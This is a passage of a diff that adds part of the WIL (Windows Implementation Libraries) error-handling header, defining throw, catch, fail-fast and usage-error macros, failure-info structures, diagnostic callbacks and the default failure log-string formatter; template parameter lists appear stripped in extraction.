__RFF_FN(FailFastImmediate_If)(wil::verify_bool(condition)) +#define FAIL_FAST_IMMEDIATE_IF_NULL(ptr) __RFF_FN(FailFastImmediate_IfNull)(ptr) +#define FAIL_FAST_IMMEDIATE_IF_NTSTATUS_FAILED(status) __RFF_FN(FailFastImmediate_IfNtStatusFailed)(status) + +// Specializations +#define FAIL_FAST_IMMEDIATE_IF_IN_LOADER_CALLOUT() do { if (wil::details::g_pfnFailFastInLoaderCallout != nullptr) { wil::details::g_pfnFailFastInLoaderCallout(); } } while ((void)0, 0) + + +//***************************************************************************** +// Macros to throw exceptions on failure +//***************************************************************************** + +#ifdef WIL_ENABLE_EXCEPTIONS + +// Always throw a known failure +#define THROW_HR(hr) __R_FN(Throw_Hr)(__R_INFO(#hr) wil::verify_hresult(hr)) +#define THROW_LAST_ERROR() __R_FN(Throw_GetLastError)(__R_INFO_ONLY(nullptr)) +#define THROW_WIN32(win32err) __R_FN(Throw_Win32)(__R_INFO(#win32err) win32err) +#define THROW_EXCEPTION(exception) wil::details::ReportFailure_CustomException(__R_INFO(#exception) exception) +#define THROW_NTSTATUS(status) __R_FN(Throw_NtStatus)(__R_INFO(#status) status) + +// Conditionally throw failures - returns parameter value +#define THROW_IF_FAILED(hr) __R_FN(Throw_IfFailed)(__R_INFO(#hr) wil::verify_hresult(hr)) +#define THROW_IF_WIN32_BOOL_FALSE(win32BOOL) __R_FN(Throw_IfWin32BoolFalse)(__R_INFO(#win32BOOL) wil::verify_BOOL(win32BOOL)) +#define THROW_IF_WIN32_ERROR(win32err) __R_FN(Throw_IfWin32Error)(__R_INFO(#win32err) win32err) +#define THROW_IF_NULL_ALLOC(ptr) __R_FN(Throw_IfNullAlloc)(__R_INFO(#ptr) ptr) +#define THROW_HR_IF(hr, condition) __R_FN(Throw_HrIf)(__R_INFO(#condition) wil::verify_hresult(hr), wil::verify_bool(condition)) +#define THROW_HR_IF_NULL(hr, ptr) __R_FN(Throw_HrIfNull)(__R_INFO(#ptr) wil::verify_hresult(hr), ptr) +#define THROW_LAST_ERROR_IF(condition) __R_FN(Throw_GetLastErrorIf)(__R_INFO(#condition) wil::verify_bool(condition)) +#define THROW_LAST_ERROR_IF_NULL(ptr) __R_FN(Throw_GetLastErrorIfNull)(__R_INFO(#ptr) ptr) +#define THROW_IF_NTSTATUS_FAILED(status) __R_FN(Throw_IfNtStatusFailed)(__R_INFO(#status) status) + +// Always throw a known failure - throw a var-arg message on failure +#define THROW_HR_MSG(hr, fmt, ...) __R_FN(Throw_HrMsg)(__R_INFO(#hr) wil::verify_hresult(hr), fmt, ##__VA_ARGS__) +#define THROW_LAST_ERROR_MSG(fmt, ...) __R_FN(Throw_GetLastErrorMsg)(__R_INFO(nullptr) fmt, ##__VA_ARGS__) +#define THROW_WIN32_MSG(win32err, fmt, ...) __R_FN(Throw_Win32Msg)(__R_INFO(#win32err) win32err, fmt, ##__VA_ARGS__) +#define THROW_EXCEPTION_MSG(exception, fmt, ...) wil::details::ReportFailure_CustomExceptionMsg(__R_INFO(#exception) exception, fmt, ##__VA_ARGS__) +#define THROW_NTSTATUS_MSG(status, fmt, ...) __R_FN(Throw_NtStatusMsg)(__R_INFO(#status) status, fmt, ##__VA_ARGS__) + +// Conditionally throw failures - returns parameter value - throw a var-arg message on failure +#define THROW_IF_FAILED_MSG(hr, fmt, ...) __R_FN(Throw_IfFailedMsg)(__R_INFO(#hr) wil::verify_hresult(hr), fmt, ##__VA_ARGS__) +#define THROW_IF_WIN32_BOOL_FALSE_MSG(win32BOOL, fmt, ...) __R_FN(Throw_IfWin32BoolFalseMsg)(__R_INFO(#win32BOOL) wil::verify_BOOL(win32BOOL), fmt, ##__VA_ARGS__) +#define THROW_IF_WIN32_ERROR_MSG(win32err, fmt, ...) __R_FN(Throw_IfWin32ErrorMsg)(__R_INFO(#win32err) win32err, fmt, ##__VA_ARGS__) +#define THROW_IF_NULL_ALLOC_MSG(ptr, fmt, ...) __R_FN(Throw_IfNullAllocMsg)(__R_INFO(#ptr) ptr, fmt, ##__VA_ARGS__) +#define THROW_HR_IF_MSG(hr, condition, fmt, ...) __R_FN(Throw_HrIfMsg)(__R_INFO(#condition) wil::verify_hresult(hr), wil::verify_bool(condition), fmt, ##__VA_ARGS__) +#define THROW_HR_IF_NULL_MSG(hr, ptr, fmt, ...) __R_FN(Throw_HrIfNullMsg)(__R_INFO(#ptr) wil::verify_hresult(hr), ptr, fmt, ##__VA_ARGS__) +#define THROW_LAST_ERROR_IF_MSG(condition, fmt, ...) __R_FN(Throw_GetLastErrorIfMsg)(__R_INFO(#condition) wil::verify_bool(condition), fmt, ##__VA_ARGS__) +#define THROW_LAST_ERROR_IF_NULL_MSG(ptr, fmt, ...) __R_FN(Throw_GetLastErrorIfNullMsg)(__R_INFO(#ptr) ptr, fmt, ##__VA_ARGS__) +#define THROW_IF_NTSTATUS_FAILED_MSG(status, fmt, ...) __R_FN(Throw_IfNtStatusFailedMsg)(__R_INFO(#status) status, fmt, ##__VA_ARGS__) + + +//***************************************************************************** +// Macros to catch and convert exceptions on failure +//***************************************************************************** + +// Use these macros *within* a catch (...) block to handle exceptions +#define RETURN_CAUGHT_EXCEPTION() return __R_FN(Return_CaughtException)(__R_INFO_ONLY(nullptr)) +#define RETURN_CAUGHT_EXCEPTION_MSG(fmt, ...) return __R_FN(Return_CaughtExceptionMsg)(__R_INFO(nullptr) fmt, ##__VA_ARGS__) +#define RETURN_CAUGHT_EXCEPTION_EXPECTED() return wil::ResultFromCaughtException() +#define LOG_CAUGHT_EXCEPTION() __R_FN(Log_CaughtException)(__R_INFO_ONLY(nullptr)) +#define LOG_CAUGHT_EXCEPTION_MSG(fmt, ...) __R_FN(Log_CaughtExceptionMsg)(__R_INFO(nullptr) fmt, ##__VA_ARGS__) +#define FAIL_FAST_CAUGHT_EXCEPTION() __R_FN(FailFast_CaughtException)(__R_INFO_ONLY(nullptr)) +#define FAIL_FAST_CAUGHT_EXCEPTION_MSG(fmt, ...) __R_FN(FailFast_CaughtExceptionMsg)(__R_INFO(nullptr) fmt, ##__VA_ARGS__) +#define THROW_NORMALIZED_CAUGHT_EXCEPTION() __R_FN(Throw_CaughtException)(__R_INFO_ONLY(nullptr)) +#define THROW_NORMALIZED_CAUGHT_EXCEPTION_MSG(fmt, ...) __R_FN(Throw_CaughtExceptionMsg)(__R_INFO(nullptr) fmt, ##__VA_ARGS__) + +// Use these macros in place of a catch block to handle exceptions +#define CATCH_RETURN() catch (...) { RETURN_CAUGHT_EXCEPTION(); } +#define CATCH_RETURN_MSG(fmt, ...) catch (...) { RETURN_CAUGHT_EXCEPTION_MSG(fmt, ##__VA_ARGS__); } +#define CATCH_RETURN_EXPECTED() catch (...) { RETURN_CAUGHT_EXCEPTION_EXPECTED(); } +#define CATCH_LOG() catch (...) { LOG_CAUGHT_EXCEPTION(); } +// Use CATCH_LOG_RETURN instead of CATCH_LOG in a function-try block around a destructor. CATCH_LOG in this specific case has an implicit throw at the end of scope. +// Due to a bug (DevDiv 441931), Warning 4297 (function marked noexcept throws exception) is detected even when the throwing code is unreachable, such as the end of scope after a return, in function-level catch. +#define CATCH_LOG_RETURN() catch (...) { __pragma(warning(suppress : 4297)); LOG_CAUGHT_EXCEPTION(); return; } +#define CATCH_LOG_MSG(fmt, ...) catch (...) { LOG_CAUGHT_EXCEPTION_MSG(fmt, ##__VA_ARGS__); } +// Likewise use CATCH_LOG_RETURN_MSG instead of CATCH_LOG_MSG in function-try blocks around destructors. +#define CATCH_LOG_RETURN_MSG(fmt, ...) catch (...) { __pragma(warning(suppress : 4297)); LOG_CAUGHT_EXCEPTION_MSG(fmt, ##__VA_ARGS__); return; } +#define CATCH_FAIL_FAST() catch (...) { FAIL_FAST_CAUGHT_EXCEPTION(); } +#define CATCH_FAIL_FAST_MSG(fmt, ...) catch (...) { FAIL_FAST_CAUGHT_EXCEPTION_MSG(fmt, ##__VA_ARGS__); } +#define CATCH_THROW_NORMALIZED() catch (...) { THROW_NORMALIZED_CAUGHT_EXCEPTION(); } +#define CATCH_THROW_NORMALIZED_MSG(fmt, ...) catch (...) { THROW_NORMALIZED_CAUGHT_EXCEPTION_MSG(fmt, ##__VA_ARGS__); } +#define CATCH_LOG_RETURN_HR(hr) catch (...) { LOG_CAUGHT_EXCEPTION(); return hr; } + +#endif // WIL_ENABLE_EXCEPTIONS + +// Use this macro to supply diagnostics information to wil::ResultFromException +#define WI_DIAGNOSTICS_INFO wil::DiagnosticsInfo(__R_CALLERADDRESS_VALUE, __R_LINE_VALUE, __R_FILE_VALUE) +#define WI_DIAGNOSTICS_NAME(name) wil::DiagnosticsInfo(__R_CALLERADDRESS_VALUE, __R_LINE_VALUE, __R_FILE_VALUE, name) + + + +//***************************************************************************** +// Usage Error Macros +//***************************************************************************** + +#ifndef WI_USAGE_ASSERT_STOP +#define WI_USAGE_ASSERT_STOP(condition) WI_ASSERT(condition) +#endif +#ifdef RESULT_DEBUG +#define WI_USAGE_ERROR(msg, ...) do { LOG_HR_MSG(HRESULT_FROM_WIN32(ERROR_ASSERTION_FAILURE), msg, ##__VA_ARGS__); WI_USAGE_ASSERT_STOP(false); } while ((void)0, 0) +#define WI_USAGE_ERROR_FORWARD(msg, ...) do { ReportFailure_ReplaceMsg(__R_FN_CALL_FULL, HRESULT_FROM_WIN32(ERROR_ASSERTION_FAILURE), msg, ##__VA_ARGS__); WI_USAGE_ASSERT_STOP(false); } while ((void)0, 0) +#else +#define WI_USAGE_ERROR(msg, ...) do { LOG_HR(HRESULT_FROM_WIN32(ERROR_ASSERTION_FAILURE)); WI_USAGE_ASSERT_STOP(false); } while ((void)0, 0) +#define WI_USAGE_ERROR_FORWARD(msg, ...) do { ReportFailure_Hr(__R_FN_CALL_FULL, HRESULT_FROM_WIN32(ERROR_ASSERTION_FAILURE)); WI_USAGE_ASSERT_STOP(false); } while ((void)0, 0) +#endif +#define WI_USAGE_VERIFY(condition, msg, ...) do { const auto __passed = wil::verify_bool(condition); if (!__passed) { WI_USAGE_ERROR(msg, ##__VA_ARGS__); }} while ((void)0, 0) +#define WI_USAGE_VERIFY_FORWARD(condition, msg, ...) do { const auto __passed = wil::verify_bool(condition); if (!__passed) { WI_USAGE_ERROR_FORWARD(msg, ##__VA_ARGS__); }} while ((void)0, 0) +#ifdef RESULT_DEBUG +#define WI_USAGE_ASSERT(condition, msg, ...) WI_USAGE_VERIFY(condition, msg, ##__VA_ARGS__) +#else +#define WI_USAGE_ASSERT(condition, msg, ...) +#endif + +//***************************************************************************** +// Internal Error Macros - DO NOT USE - these are for internal WIL use only to reduce sizes of binaries that use WIL +//***************************************************************************** +#ifdef RESULT_DEBUG +#define __WIL_PRIVATE_RETURN_IF_FAILED(hr) RETURN_IF_FAILED(hr) +#define __WIL_PRIVATE_RETURN_HR_IF(hr, cond) RETURN_HR_IF(hr, cond) +#define __WIL_PRIVATE_RETURN_LAST_ERROR_IF(cond) RETURN_LAST_ERROR_IF(cond) +#define __WIL_PRIVATE_RETURN_IF_WIN32_BOOL_FALSE(win32BOOL) RETURN_IF_WIN32_BOOL_FALSE(win32BOOL) +#define __WIL_PRIVATE_RETURN_LAST_ERROR_IF_NULL(ptr) RETURN_LAST_ERROR_IF_NULL(ptr) +#define __WIL_PRIVATE_RETURN_IF_NULL_ALLOC(ptr) RETURN_IF_NULL_ALLOC(ptr) +#define __WIL_PRIVATE_RETURN_LAST_ERROR() RETURN_LAST_ERROR() +#define __WIL_PRIVATE_FAIL_FAST_HR_IF(hr, condition) FAIL_FAST_HR_IF(hr, condition) +#define __WIL_PRIVATE_FAIL_FAST_HR(hr) FAIL_FAST_HR(hr) +#define __WIL_PRIVATE_LOG_HR(hr) LOG_HR(hr) +#else +#define __WIL_PRIVATE_RETURN_IF_FAILED(hr) do { const auto __hrRet = wil::verify_hresult(hr); if (FAILED(__hrRet)) { __RETURN_HR_FAIL_NOFILE(__hrRet, #hr); }} while ((void)0, 0) +#define __WIL_PRIVATE_RETURN_HR_IF(hr, cond) do { if (wil::verify_bool(cond)) { __RETURN_HR_NOFILE(wil::verify_hresult(hr), #cond); }} while ((void)0, 0) +#define __WIL_PRIVATE_RETURN_LAST_ERROR_IF(cond) do { if (wil::verify_bool(cond)) { __RETURN_GLE_FAIL_NOFILE(#cond); }} while ((void)0, 0) +#define __WIL_PRIVATE_RETURN_IF_WIN32_BOOL_FALSE(win32BOOL) do { const BOOL __boolRet = wil::verify_BOOL(win32BOOL); if (!__boolRet) { __RETURN_GLE_FAIL_NOFILE(#win32BOOL); }} while ((void)0, 0) +#define __WIL_PRIVATE_RETURN_LAST_ERROR_IF_NULL(ptr) do { if ((ptr) == nullptr) { __RETURN_GLE_FAIL_NOFILE(#ptr); }} while ((void)0, 0) +#define __WIL_PRIVATE_RETURN_IF_NULL_ALLOC(ptr) do { if ((ptr) == nullptr) { __RETURN_HR_FAIL_NOFILE(E_OUTOFMEMORY, #ptr); }} while ((void)0, 0) +#define __WIL_PRIVATE_RETURN_LAST_ERROR() __RETURN_GLE_FAIL_NOFILE(nullptr) +#define __WIL_PRIVATE_FAIL_FAST_HR_IF(hr, condition) __RFF_FN(FailFast_HrIf)(__RFF_INFO_NOFILE(#condition) wil::verify_hresult(hr), wil::verify_bool(condition)) +#define __WIL_PRIVATE_FAIL_FAST_HR(hr) __RFF_FN(FailFast_Hr)(__RFF_INFO_NOFILE(#hr) wil::verify_hresult(hr)) +#define __WIL_PRIVATE_LOG_HR(hr) __R_FN(Log_Hr)(__R_INFO_NOFILE(#hr) wil::verify_hresult(hr)) +#endif + +namespace wil +{ + // Indicates the kind of message / failure type that was used to produce a given error + enum class FailureType + { + Exception, // THROW_... + Return, // RETURN_..._LOG or RETURN_..._MSG + Log, // LOG_... + FailFast // FAIL_FAST_... + }; + + /** Use with functions and macros that allow customizing which kinds of exceptions are handled. + This is used with methods like wil::ResultFromException and wil::ResultFromExceptionDebug. */ + enum class SupportedExceptions + { + Default, //!< [Default] all well known exceptions (honors g_fResultFailFastUnknownExceptions). + Known, //!< [Known] all well known exceptions (including std::exception). + All, //!< [All] all exceptions, known or otherwise. + None, //!< [None] no exceptions at all, an exception will fail-fast where thrown. + Thrown, //!< [Thrown] exceptions thrown by wil only (Platform::Exception^ or ResultException). + ThrownOrAlloc //!< [ThrownOrAlloc] exceptions thrown by wil (Platform::Exception^ or ResultException) or std::bad_alloc. + }; + + // Represents the call context information about a given failure + // No constructors, destructors or virtual members should be contained within + struct CallContextInfo + { + long contextId; // incrementing ID for this call context (unique across an individual module load within process) + PCSTR contextName; // the explicit name given to this context + PCWSTR contextMessage; // [optional] Message that can be associated with the call context + }; + + // Represents all context information about a given failure + // No constructors, destructors or virtual members should be contained within + struct FailureInfo + { + FailureType type; + HRESULT hr; + long failureId; // incrementing ID for this specific failure (unique across an individual module load within process) + PCWSTR pszMessage; // Message is only present for _MSG logging (it's the Sprintf message) + DWORD threadId; // the thread this failure was originally encountered on + PCSTR pszCode; // [debug only] Capture code from the macro + PCSTR pszFunction; // [debug only] The function name + PCSTR pszFile; + unsigned int uLineNumber; + int cFailureCount; // How many failures of 'type' have been reported in this module so far + PCSTR pszCallContext; // General breakdown of the call context stack that generated this failure + CallContextInfo callContextOriginating; // The outermost (first seen) call context + CallContextInfo callContextCurrent; // The most recently seen call context + PCSTR pszModule; // The module where the failure originated + void* returnAddress; // The return address to the point that called the macro + void* callerReturnAddress; // The return address of the function that includes the macro + }; + + //! Created automatically from using WI_DIAGNOSTICS_INFO to provide diagnostics to functions. + //! Note that typically wil hides diagnostics from users under the covers by passing them automatically to functions as + //! parameters hidden behind a macro. In some cases, the user needs to directly supply these, so this class provides + //! the mechanism for that. We only use this for user-passed content as it can't be directly controlled by RESULT_DIAGNOSTICS_LEVEL + //! to ensure there are no ODR violations (though that variable still controls what parameters within this structure would be available). + struct DiagnosticsInfo + { + void* returnAddress = nullptr; + PCSTR file = nullptr; + PCSTR name = nullptr; + unsigned short line = 0; + + DiagnosticsInfo() = default; + + __forceinline DiagnosticsInfo(void* returnAddress_, unsigned short line_, PCSTR file_) : + returnAddress(returnAddress_), + file(file_), + line(line_) + { + } + + __forceinline DiagnosticsInfo(void* returnAddress_, unsigned short line_, PCSTR file_, PCSTR name_) : + returnAddress(returnAddress_), + file(file_), + name(name_), + line(line_) + { + } + }; + + enum class ErrorReturn + { + Auto, + None + }; + + // [optionally] Plug in error logging + // Note: This callback is deprecated. Please use SetResultTelemetryFallback for telemetry or + // SetResultLoggingCallback for observation. + extern "C" __declspec(selectany) void(__stdcall *g_pfnResultLoggingCallback)(_Inout_ wil::FailureInfo *pFailure, _Inout_updates_opt_z_(cchDebugMessage) PWSTR pszDebugMessage, _Pre_satisfies_(cchDebugMessage > 0) size_t cchDebugMessage) WI_PFN_NOEXCEPT = nullptr; + + // [optional] + // This can be explicitly set to control whether or not error messages will be output to OutputDebugString. It can also + // be set directly from within the debugger to force console logging for debugging purposes. + __declspec(selectany) bool g_fResultOutputDebugString = true; + + // [optionally] Allows application to specify a debugger to detect whether a debugger is present. + // Useful for processes that can only be debugged under kernel debuggers where IsDebuggerPresent returns + // false. + __declspec(selectany) bool(__stdcall *g_pfnIsDebuggerPresent)() WI_PFN_NOEXCEPT = nullptr; + + // [optionally] Allows forcing WIL to believe a debugger is present. Useful for when a kernel debugger is attached and ::IsDebuggerPresent returns false + __declspec(selectany) bool g_fIsDebuggerPresent = false; + + // [optionally] Plug in additional exception-type support (return S_OK when *unable* to remap the exception) + __declspec(selectany) HRESULT(__stdcall *g_pfnResultFromCaughtException)() WI_PFN_NOEXCEPT = nullptr; + + // [optionally] Use to configure fast fail of unknown exceptions (turn them off). + __declspec(selectany) bool g_fResultFailFastUnknownExceptions = true; + + // [optionally] Set to false to a configure all THROW_XXX macros in C++/CX to throw ResultException rather than Platform::Exception^ + __declspec(selectany) bool g_fResultThrowPlatformException = true; + + // [optionally] Set to false to a configure all CATCH_ and CAUGHT_ macros to NOT support (fail-fast) std::exception based exceptions (other than std::bad_alloc and wil::ResultException) + __declspec(selectany) bool g_fResultSupportStdException = true; + + // [optionally] Set to true to cause a debug break to occur on a result failure + __declspec(selectany) bool g_fBreakOnFailure = false; + + // [optionally] customize failfast behavior + __declspec(selectany) bool(__stdcall *g_pfnWilFailFast)(const wil::FailureInfo& info) WI_PFN_NOEXCEPT = nullptr; + + /// @cond + namespace details + { + // True if g_pfnResultLoggingCallback is set (allows cutting off backwards compat calls to the function) + __declspec(selectany) bool g_resultMessageCallbackSet = false; + + _Success_(true) _Ret_range_(dest, destEnd) + inline PWSTR LogStringPrintf(_Out_writes_to_ptr_(destEnd) _Always_(_Post_z_) PWSTR dest, _Pre_satisfies_(destEnd >= dest) PCWSTR destEnd, _In_ _Printf_format_string_ PCWSTR format, ...) + { + va_list argList; + va_start(argList, format); + StringCchVPrintfW(dest, (destEnd - dest), format, argList); + return (destEnd == dest) ? dest : (dest + wcslen(dest)); + } + } + /// @endcond + + // This call generates the default logging string that makes its way to OutputDebugString for + // any particular failure. This string is also used to associate a failure with a PlatformException^ which + // only allows a single string to be associated with the exception. + inline HRESULT GetFailureLogString(_Out_writes_(cchDest) _Always_(_Post_z_) PWSTR pszDest, _Pre_satisfies_(cchDest > 0) _In_ size_t cchDest, _In_ FailureInfo const &failure) WI_NOEXCEPT + { + // This function was lenient to empty strings at one point and some callers became dependent on this beahvior + if ((cchDest == 0) || (pszDest == nullptr)) + { + return S_OK; + } + + pszDest[0] = L'\0'; + + // Call the logging callback (if present) to allow them to generate the debug string that will be pushed to the console + // or the platform exception object if the caller desires it. + if ((g_pfnResultLoggingCallback != nullptr) && details::g_resultMessageCallbackSet) + { + // older-form callback was a non-const FailureInfo*; conceptually this is const as callers should not be modifying + g_pfnResultLoggingCallback(const_cast(&failure), pszDest, cchDest); + } + + // The callback only optionally needs to supply the debug string -- if the callback didn't populate it, yet we still want + // it for OutputDebugString or exception message, then generate the default string. + if (pszDest[0] == L'\0') + { + PCSTR pszType = ""; + switch (failure.type) + { + case FailureType::Exception: + pszType = "Exception"; + break; + case FailureType::Return: + pszType = "ReturnHr"; + break; + case FailureType::Log: + pszType = "LogHr"; + break; + case FailureType::FailFast: + pszType = "FailFast"; + break; + } + + wchar_t szErrorText[256]; + szErrorText[0] = L'\0'; + FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, nullptr, failure.hr, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), szErrorText, ARRAYSIZE(szErrorText), nullptr); + + // %FILENAME(%LINE): %TYPE(%count) tid(%threadid) %HRESULT %SystemMessage + // %Caller_MSG [%CODE(%FUNCTION)] + + PWSTR dest = pszDest; + PCWSTR destEnd = (pszDest + cchDest); + + if (failure.pszFile != nullptr) + { + dest = details::LogStringPrintf(dest, destEnd, L"%hs(%u)\\%hs!%p: ", failure.pszFile, failure.uLineNumber, failure.pszModule, failure.returnAddress); + } + else + { + dest = details::LogStringPrintf(dest, destEnd, L"%hs!%p: ", failure.pszModule, failure.returnAddress); + } + + if (failure.callerReturnAddress != nullptr) + { + dest = details::LogStringPrintf(dest, destEnd, L"(caller: %p) ", failure.callerReturnAddress); + } + + dest = details::LogStringPrintf(dest, destEnd, L"%hs(%d) tid(%x) %08X %ws", pszType, failure.cFailureCount, ::GetCurrentThreadId(), failure.hr, szErrorText); + + if ((failure.pszMessage != nullptr) || (failure.pszCallContext != nullptr) || (failure.pszFunction != nullptr)) + { + dest = details::LogStringPrintf(dest, destEnd, L" "); + if (failure.pszMessage != nullptr) + { + dest = details::LogStringPrintf(dest, destEnd, L"Msg:[%ws] ", failure.pszMessage); + } + if (failure.pszCallContext != nullptr) + { + dest = details::LogStringPrintf(dest, destEnd, L"CallContext:[%hs] ", failure.pszCallContext); + } + + if (failure.pszCode != nullptr) + { + dest = details::LogStringPrintf(dest, destEnd, L"[%hs(%hs)]\n", failure.pszFunction, failure.pszCode); + } + else if (failure.pszFunction != nullptr) + { + dest = details::LogStringPrintf(dest, destEnd, L"[%hs]\n", failure.pszFunction); + } + else + { + dest = details::LogStringPrintf(dest, destEnd, L"\n"); + } + } + } + + // Explicitly choosing to return success in the event of truncation... Current callers + // depend upon it or it would be eliminated. + return S_OK; + } + + /// @cond + namespace details + { + //! Interface used to wrap up code (generally a lambda or other functor) to run in an exception-managed context where + //! exceptions or errors can be observed and logged. + struct IFunctor + { + virtual HRESULT Run() = 0; + }; + + //! Used to provide custom behavior when an exception is encountered while executing IFunctor + struct IFunctorHost + { + virtual HRESULT Run(IFunctor& functor) = 0; + virtual HRESULT ExceptionThrown(void* returnAddress) = 0; + }; + + // Fallback telemetry provider callback (set with wil::SetResultTelemetryFallback) + __declspec(selectany) void(__stdcall *g_pfnTelemetryCallback)(bool alreadyReported, wil::FailureInfo const &failure) WI_PFN_NOEXCEPT = nullptr; + + // Result.h plug-in (WIL use only) + __declspec(selectany) void(__stdcall *g_pfnGetContextAndNotifyFailure)(_Inout_ FailureInfo *pFailure, _Out_writes_(callContextStringLength) _Post_z_ PSTR callContextString, _Pre_satisfies_(callContextStringLength > 0) size_t callContextStringLength) WI_PFN_NOEXCEPT = nullptr; + + // Observe all errors flowing through the system with this callback (set with wil::SetResultLoggingCallback); use with custom logging + __declspec(selectany) void(__stdcall *g_pfnLoggingCallback)(wil::FailureInfo const &failure) WI_PFN_NOEXCEPT = nullptr; + + // Desktop/System Only: Module fetch function (automatically setup) + __declspec(selectany) PCSTR(__stdcall *g_pfnGetModuleName)() WI_PFN_NOEXCEPT = nullptr; + + // Desktop/System Only: Retrieve address offset and modulename + __declspec(selectany) bool(__stdcall *g_pfnGetModuleInformation)(void* address, _Out_opt_ unsigned int* addressOffset, _Out_writes_bytes_opt_(size) char* name, size_t size) WI_PFN_NOEXCEPT = nullptr; + + // Called with the expectation that the program will terminate when called inside of a loader callout. + // Desktop/System Only: Automatically setup when building Windows (BUILD_WINDOWS defined) + __declspec(selectany) void(__stdcall *g_pfnFailFastInLoaderCallout)() WI_PFN_NOEXCEPT = nullptr; + + // Called to translate an NTSTATUS value to a Win32 error code + // Desktop/System Only: Automatically setup when building Windows (BUILD_WINDOWS defined) + __declspec(selectany) ULONG(__stdcall *g_pfnRtlNtStatusToDosErrorNoTeb)(NTSTATUS) WI_PFN_NOEXCEPT = nullptr; + + // Desktop/System Only: Call to DebugBreak + __declspec(selectany) void(__stdcall *g_pfnDebugBreak)() WI_PFN_NOEXCEPT = nullptr; + + // Called to determine whether or not termination is happening + // Desktop/System Only: Automatically setup when building Windows (BUILD_WINDOWS defined) + __declspec(selectany) BOOLEAN(__stdcall *g_pfnDllShutdownInProgress)() WI_PFN_NOEXCEPT = nullptr; + __declspec(selectany) bool g_processShutdownInProgress = false; + + // On Desktop/System WINAPI family: dynalink RaiseFailFastException because we may encounter modules + // that do not have RaiseFailFastException in kernelbase. UWP apps will directly link. + __declspec(selectany) void (__stdcall *g_pfnRaiseFailFastException)(PEXCEPTION_RECORD,PCONTEXT,DWORD) = nullptr; + + // Exception-based compiled additions + __declspec(selectany) HRESULT(__stdcall *g_pfnRunFunctorWithExceptionFilter)(IFunctor& functor, IFunctorHost& host, void* returnAddress) = nullptr; + __declspec(selectany) void(__stdcall *g_pfnRethrow)() = nullptr; + __declspec(selectany) void(__stdcall *g_pfnThrowResultException)(const FailureInfo& failure) = nullptr; + extern "C" __declspec(selectany) HRESULT(__stdcall *g_pfnResultFromCaughtExceptionInternal)(_Out_writes_opt_(debugStringChars) PWSTR debugString, _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars, _Out_ bool* isNormalized) WI_PFN_NOEXCEPT = nullptr; + + // C++/WinRT additions + extern "C" __declspec(selectany) HRESULT(__stdcall *g_pfnResultFromCaughtException_CppWinRt)(_Out_writes_opt_(debugStringChars) PWSTR debugString, _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars, _Out_ bool* isNormalized) WI_PFN_NOEXCEPT = nullptr; + + // C++/cx compiled additions + extern "C" __declspec(selectany) void(__stdcall *g_pfnThrowPlatformException)(FailureInfo const &failure, PCWSTR debugString) = nullptr; + extern "C" __declspec(selectany) _Always_(_Post_satisfies_(return < 0)) HRESULT(__stdcall *g_pfnResultFromCaughtException_WinRt)(_Inout_updates_opt_(debugStringChars) PWSTR debugString, _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars, _Out_ bool* isNormalized) WI_PFN_NOEXCEPT = nullptr; + __declspec(selectany) _Always_(_Post_satisfies_(return < 0)) HRESULT(__stdcall *g_pfnResultFromKnownExceptions_WinRt)(const DiagnosticsInfo& diagnostics, void* returnAddress, SupportedExceptions supported, IFunctor& functor) = nullptr; + + // Plugin to call RoOriginateError (WIL use only) + __declspec(selectany) void(__stdcall *g_pfnOriginateCallback)(wil::FailureInfo const& failure) WI_PFN_NOEXCEPT = nullptr; + + // Plugin to call RoFailFastWithErrorContext (WIL use only) + __declspec(selectany) void(__stdcall* g_pfnFailfastWithContextCallback)(wil::FailureInfo const& failure) WI_PFN_NOEXCEPT = nullptr; + + // Called to tell Appverifier to ignore a particular allocation from leak tracking + // If AppVerifier is not enabled, this is a no-op + // Desktop/System Only: Automatically setup when building Windows (BUILD_WINDOWS defined) + __declspec(selectany) NTSTATUS(__stdcall *g_pfnRtlDisownModuleHeapAllocation)(_In_ HANDLE heapHandle, _In_ PVOID address) WI_PFN_NOEXCEPT = nullptr; + + // Allocate and disown the allocation so that Appverifier does not complain about a false leak + inline PVOID ProcessHeapAlloc(_In_ DWORD flags, _In_ size_t size) + { + PVOID allocation = ::HeapAlloc(::GetProcessHeap(), flags, size); + + if (g_pfnRtlDisownModuleHeapAllocation) + { + (void)g_pfnRtlDisownModuleHeapAllocation(::GetProcessHeap(), allocation); + } + + return allocation; + } + + enum class ReportFailureOptions + { + None = 0x00, + ForcePlatformException = 0x01, + MayRethrow = 0x02, + }; + DEFINE_ENUM_FLAG_OPERATORS(ReportFailureOptions); + + template + using functor_return_type = decltype((*static_cast(nullptr))()); + + template + struct functor_wrapper_void : public IFunctor + { + TFunctor&& functor; + functor_wrapper_void(TFunctor&& functor_) : functor(wistd::forward(functor_)) { } + #pragma warning(push) + #pragma warning(disable:4702) // https://github.com/Microsoft/wil/issues/2 + HRESULT Run() override + { + functor(); + return S_OK; + } + #pragma warning(pop) + }; + + template + struct functor_wrapper_HRESULT : public IFunctor + { + TFunctor&& functor; + functor_wrapper_HRESULT(TFunctor& functor_) : functor(wistd::forward(functor_)) { } + HRESULT Run() override + { + return functor(); + } + }; + + template + struct functor_wrapper_other : public IFunctor + { + TFunctor&& functor; + TReturn& retVal; + functor_wrapper_other(TFunctor& functor_, TReturn& retval_) : functor(wistd::forward(functor_)), retVal(retval_) { } + #pragma warning(push) + #pragma warning(disable:4702) // https://github.com/Microsoft/wil/issues/2 + HRESULT Run() override + { + retVal = functor(); + return S_OK; + } + #pragma warning(pop) + }; + + struct tag_return_void : public wistd::integral_constant + { + template + using functor_wrapper = functor_wrapper_void; + }; + + struct tag_return_HRESULT : public wistd::integral_constant + { + template + using functor_wrapper = functor_wrapper_HRESULT; + }; + + struct tag_return_other : public wistd::integral_constant + { + template + using functor_wrapper = functor_wrapper_other; + }; + + // type-trait to help discover the return type of a functor for tag/dispatch. + + template + struct return_type + { + typedef tag_return_other type; + }; + + template <> + struct return_type + { + typedef tag_return_HRESULT type; + }; + + template <> + struct return_type + { + typedef tag_return_void type; + }; + + template <> + struct return_type + { + typedef tag_return_void type; + }; + + template + using functor_tag = typename return_type>::type; + + // Forward declarations to enable use of fail fast and reporting internally... + namespace __R_NS_NAME + 